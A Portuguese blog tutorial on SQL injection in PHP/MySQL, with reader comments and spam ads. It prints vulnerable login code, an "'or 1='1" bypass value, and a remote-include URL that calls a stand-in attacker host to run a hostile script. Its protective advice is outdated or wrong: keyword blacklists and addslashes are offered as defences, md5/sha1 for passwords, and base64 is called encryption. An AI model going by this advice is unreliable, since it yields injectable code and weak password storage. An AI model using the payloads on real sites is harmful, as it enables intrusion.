Saudações, amigos do Zoom Digital.
Hoje falaremos sobre um assunto muito importante, que envolve a segurança dos nossos projetos em PHP e MySQL, o temido SQL Injection. Se você é programador com certeza já ouviu a respeito, mas se nunca ouviu vou explicar do que se trata.
O SQL Injection é um ataque que visa enviar comandos nocivos à base de dados através dos campos de formulários ou através de URLs. Um ataque bem-sucedido pode, entre outras coisas, apagar (dropar) uma tabela do banco, deletar todos os dados da tabela ou até adquirir senhas que estejam cadastradas em um banco.
Veja abaixo um exemplo de vulnerabilidade de um sistema de login.
$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
$processa = mysql_query($sql);
Neste exemplo as variaveis $usuario e $senha recebem conteúdo vindo diretamente de um formulário através do método POST. Imagine que o conteúdo da variável $senha seja ” ‘or 1=’1 “. Se nenhuma validação for realizada, o usuário mal-intencionado terá efetuado login no sistema sem ao menos ter especificado um cadastro válido, devido a uma falha gerada na instrução SQL.
Analisemos outro exemplo de vulnerabilidade. Muitos sites utilizam sistemas via include() para organizar sua páginas internas, baseando-se numa variável do método $_GET.
// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo
E na URL do site você poderia ter:
http://www.seusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… e seu banco poderia ser completamente zerado!
Ficou assustado? Calma. Para proteger seus trabalhos basta seguir uma regrinha básica:
“Valide SEMPRE todo e qualquer tipo de dado que seu projeto for receber, seja via formulário (POST) ou via query string (GET).”
Agora você deve estar se perguntando o que fazer para se proteger de ataques. Existem dezenas de “macetes” disponiveis na internet que servem para validação de dados. Seguem alguns:
– Você pode combinar addslashes() e trim() ao receber os dados. O primeiro irá adicionar uma barra invertida antes de cada barra simples ou dupla que apareça, processo esse conhecido como ESCAPE. O segundo vai se certificar de eliminar espaços em branco. Você também poderá utilizar apenas uma das duas funções.
$usuario = addslashes($_POST['usuario']);
$usuario = trim($usuario);
$senha = addslashes($_POST['senha']);
$senha = trim($senha);
– Você pode usar mysql_real_escape_string() ao receber os dados. Esta função serve para escapar os caracteres especiais nos dados recebidos. Vale ressaltar que este comando não escapa % e _ .
$usuario = mysql_real_escape_string($_POST['usuario']);
$senha = mysql_real_escape_string($_POST['senha']);
– Você pode usar strip_tags() ao receber os dados. Esta função retira todas as tags HTML e PHP dos dados fornecidos.
$usuario = strip_tags($_POST['usuario']);
$senha = strip_tags($_POST['senha']);
Você pode aindar usar o segundo parâmetro da função, indicando quais tags tem permissão para continuar.
$usuario = strip_tags($_POST['usuario'], '');
– Para toda variável inteira que for fornecida, você pode usar intval().
$senha = intval($_POST['senha']);
Desta maneira você elimina qualquer caractere não numérico, deixando somente valores inteiros.
– Você também pode combinar diversas funções em uma só função muito mais abrangente. Segue um exemplo abaixo.
function protecao($string){
$string = str_replace(" or ", "", $string);
$string = str_replace("select ", "", $string);
$string = str_replace("delete ", "", $string);
$string = str_replace("create ", "", $string);
$string = str_replace("drop ", "", $string);
$string = str_replace("update ", "", $string);
$string = str_replace("drop table", "", $string);
$string = str_replace("show table", "", $string);
$string = str_replace("applet", "", $string);
$string = str_replace("object", "", $string);
$string = str_replace("'", "", $string);
$string = str_replace("#", "", $string);
$string = str_replace("=", "", $string);
$string = str_replace("--", "", $string);
$string = str_replace("-", "", $string);
$string = str_replace(";", "", $string);
$string = str_replace("*", "", $string);
$string = strip_tags($string);
return $string;
}
– Se estiver trabalhando com senhas ou dados sigilosos, é importante pensar em usar CRIPTOGRAFIA de dados. Você pode usar md5, sha1 ou base64, sendo que os dois primeiros são de “mão única” e não podem ser revertidos ao estado anterior. Procure pesquisar mais sobre eles.
Bom… é isso. Por hoje é só, pessoal.
Nos vemos em breve.
Que a Força esteja com vocês.
“…Você pode usar md5, sha1 ou base64…”
Ou usar os 3 de uma vez só, ou então criptografar a senha com sha1 e depois com md5 pra ficar mais phoda ainda, fica a dica.
Um jeito muito simples de fazer isso é usar PDO com bindValue e tal, que além da segurança e da simplicidade, possui uma portabilidade muito boa, para vários bancos de dados. Fica a dica 😉
Ótimo inciativa de criar este post, na época que comecei com php procurei por todo lado por algum tutorial anti-sql injection e não achei, tive que aprender na marra msm..
mas tem uma função que elimina todos os elementos sql assim não precisa fazer uma linha de comando para cada..
mysql_escape_string($Param);
vlw pela deica 😀
I’m not that much of a internet reader to be honest but your blogs really
nice, keep it up! I’ll go ahead and bookmark your site
to come back down the road. All the best
Tudo Bem?
Somos fornecedores de canecas,camisetas,azulejos,almofadas e produtos personalizados em geral.Trabalhamos com a maior variedade de produtos personalizados do mercado com imagem em alta qualidade.Temos as mais variadas estampas e podemos também criar produtos com fotos,logotipos e imagens fornecidas pelo próprio cliente, tudo em qualidade fotográfica.
Trabalhamos com atacado para empresas e varejo para consumidores finais.
Aceitamos cartões de crédito das principais bandeiras do mercado e trabalhamos com o melhor preço e condições de pagamento.
Dúvidas acesse nosso site http://www.brindesdonino.com.br
E-mail brindesdonino@gmail.com
Turbo Mídia Marketing Segmentado
Quer ter resultados de vendas em seu negócio?
Anunciamos para o público que realemente tem interesse em seu produto ou serviço.
Temos software desenvolvidos pela nossa equipe capaz de filtrar o público dezejado.
Faça um teste conosco de apenas um dia e veja os resultados.
Quer conhecer nossos produtos, acesse:
http://www.turbomidia.com.br
Sua empresa sendo vista 24Hs por dia, 7 dias por semana, 30 dias por mês.
Fale com um de nossos analistas.
Acesse o link e fale diretamente pelo Whatsapp:
http://bit.ly/TurboMidiaBusiness
e-mail: vendas@turbomidia.com.br